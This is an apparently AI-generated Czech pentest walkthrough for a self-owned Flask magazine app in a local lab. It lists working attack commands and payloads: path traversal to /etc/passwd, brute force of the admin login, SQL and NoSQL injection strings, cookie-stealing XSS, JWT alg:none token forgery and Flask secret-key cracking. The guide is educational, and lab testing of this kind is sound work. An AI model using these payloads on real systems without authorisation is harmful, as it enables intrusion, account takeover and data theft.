Generováno Claude.ai

🔐 Pentest Guide – Flask Magazine App (Local Lab)

Scope: http://192.168.100.17:5000
Target: Vlastní Flask aplikace s JSON databází, admin přihlášením a veřejným API
Prostředí: Kali Linux
Účel: Vzdělávací – vlastní lab


Fáze 1 – Reconnaissance (Průzkum)

1.1 Nmap – skenování portu a detekce služeb

nmap -sV -sC -p 5000 192.168.100.17

Co hledáme:

  • Verzi Flasku / Werkzeug (debug mode?)
  • HTTP hlavičky (Server, X-Powered-By)
  • Otevřené porty navíc

1.2 Ruční průzkum HTTP hlaviček

curl -I http://192.168.100.17:5000/

Zajímavé hlavičky:

  • Server: Werkzeug/X.X.X – odhaluje verzi
  • Chybějící X-Content-Type-Options, X-Frame-Options = potenciální XSS / clickjacking

1.3 Gobuster – enumerace skrytých endpointů

gobuster dir \
  -u http://192.168.100.17:5000 \
  -w /usr/share/wordlists/dirb/common.txt \
  -x py,json,txt,bak \
  -t 50

Zajímavé nálezy:

  • /admin, /login, /dashboard
  • /static/database.json, /data/, /backup/
  • Zálohy: database.json.bak, db.json

Fáze 2 – API Security Testing

2.1 Průzkum veřejného API

curl http://192.168.100.17:5000/api/issues/
curl http://192.168.100.17:5000/api/issues/1
curl http://192.168.100.17:5000/api/issues/0
curl http://192.168.100.17:5000/api/issues/-1

2.2 IDOR – Insecure Direct Object Reference

Iteruj přes ID a hledej neveřejné nebo admin záznamy:

for i in $(seq 1 50); do
  echo "=== Issue $i ==="
  curl -s http://192.168.100.17:5000/api/issues/$i | python3 -m json.tool
done

Riziko: Přístup k nepublikovaným článkům, interním datům nebo admin záznamům.

2.3 HTTP Verb Tampering

# Zkus nepovolené metody
curl -X DELETE http://192.168.100.17:5000/api/issues/1
curl -X PUT http://192.168.100.17:5000/api/issues/1 \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned"}'
curl -X PATCH http://192.168.100.17:5000/api/issues/1 \
  -H "Content-Type: application/json" \
  -d '{"published": true}'

2.4 Mass Assignment

Při POST requestu zkus posílat extra pole:

curl -X POST http://192.168.100.17:5000/api/issues/ \
  -H "Content-Type: application/json" \
  -d '{"title":"Test","content":"Test","is_admin":true,"published":true,"role":"admin"}'

2.5 Path Traversal na API

curl http://192.168.100.17:5000/api/issues/../admin
curl http://192.168.100.17:5000/api/issues/%2e%2e%2fadmin
curl "http://192.168.100.17:5000/api/issues/../../../../etc/passwd"

Fáze 3 – JSON Databáze

3.1 Přímý přístup k souboru

Flask aplikace typicky ukládá JSON soubory ve /static/ nebo kořenovém adresáři:

curl http://192.168.100.17:5000/static/database.json
curl http://192.168.100.17:5000/static/db.json
curl http://192.168.100.17:5000/database.json
curl http://192.168.100.17:5000/data/issues.json

3.2 Path Traversal k systémovým souborům

# URL encoding variace
curl "http://192.168.100.17:5000/static/../database.json"
curl "http://192.168.100.17:5000/static/%2e%2e%2fdatabase.json"
 
# Pokud existuje parametr pro načítání souborů
curl "http://192.168.100.17:5000/api/issues?file=../../../../etc/passwd"

3.3 Werkzeug Debug Console (kritická zranitelnost)

Pokud je Flask spuštěný s debug=True:

curl http://192.168.100.17:5000/console

Pokud je dostupná – RCE (Remote Code Execution) přes Python konzoli v prohlížeči.


Fáze 4 – Admin Login

4.1 Default credentials

Zkus ručně:

  • admin / admin
  • admin / password
  • admin / 123456
  • admin / flask
  • root / root

4.2 Hydra – Brute Force

# Zjisti POST parametry (např. přes DevTools nebo Burp)
hydra -l admin \
  -P /usr/share/wordlists/rockyou.txt \
  192.168.100.17 \
  http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -V -t 10

4.3 SQL/NoSQL Injection (i pro JSON backend)

I Flask s JSON DB může být zranitelný pokud se hodnoty přímo porovnávají:

Username: admin' OR '1'='1
Password: anything
Username: admin
Password: ' OR ''='

JSON injection (pokud backend parsuje vstup do JSON dotazu):

{"username": {"$ne": null}, "password": {"$ne": null}}

4.4 Burp Suite – Intercept & Modify

  1. Nastav proxy: 127.0.0.1:8080
  2. Zachyť login request
  3. Pošli do Intruder → Brute force
  4. Nebo do Repeater → Ruční testování injekcí

Fáze 5 – XSS & Stored Attacks

5.1 Reflected XSS

curl "http://192.168.100.17:5000/search?q=<script>alert('XSS')</script>"
curl "http://192.168.100.17:5000/search?q=<img src=x onerror=alert(1)>"

5.2 Stored XSS (v článcích/komentářích)

Pokud lze přidávat obsah:

curl -X POST http://192.168.100.17:5000/api/issues/ \
  -H "Content-Type: application/json" \
  -d '{"title":"<script>alert(document.cookie)</script>","content":"test"}'

Fáze 6 – Autentizace & Session

6.1 JWT Token Manipulation

Pokud app používá JWT:

pip install jwt
import jwt
# Dekóduj bez verifikace
token = "eyJ..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
 
# Zkus alg:none attack
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin"}
forged = jwt.encode(payload, "", algorithm="none")

6.2 Flask Secret Key Bruteforce

Pokud máš session cookie (Flask používá podepsané cookies):

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt \
  --unsign --cookie "session=<cookie_value>" \
  --no-literal-eval

Shrnutí nálezů (šablona)

#ZranitelnostEndpointZávažnostStatus
1IDOR/api/issues/{id}Střední✅/❌
2Exposed JSON DB/static/database.jsonVysoká✅/❌
3Werkzeug Debug RCE/consoleKritická✅/❌
4Brute Force Login/loginStřední✅/❌
5HTTP Verb Tampering/api/issues/Střední✅/❌
6Stored XSS/api/issues/Vysoká✅/❌
7Path Traversal/static/Vysoká✅/❌
8Flask Secret Key LeakSession cookieVysoká✅/❌

⚠️ Disclaimer: Tento pentest byl proveden výhradně na vlastní aplikaci v izolovaném lokálním prostředí pro vzdělávací účely.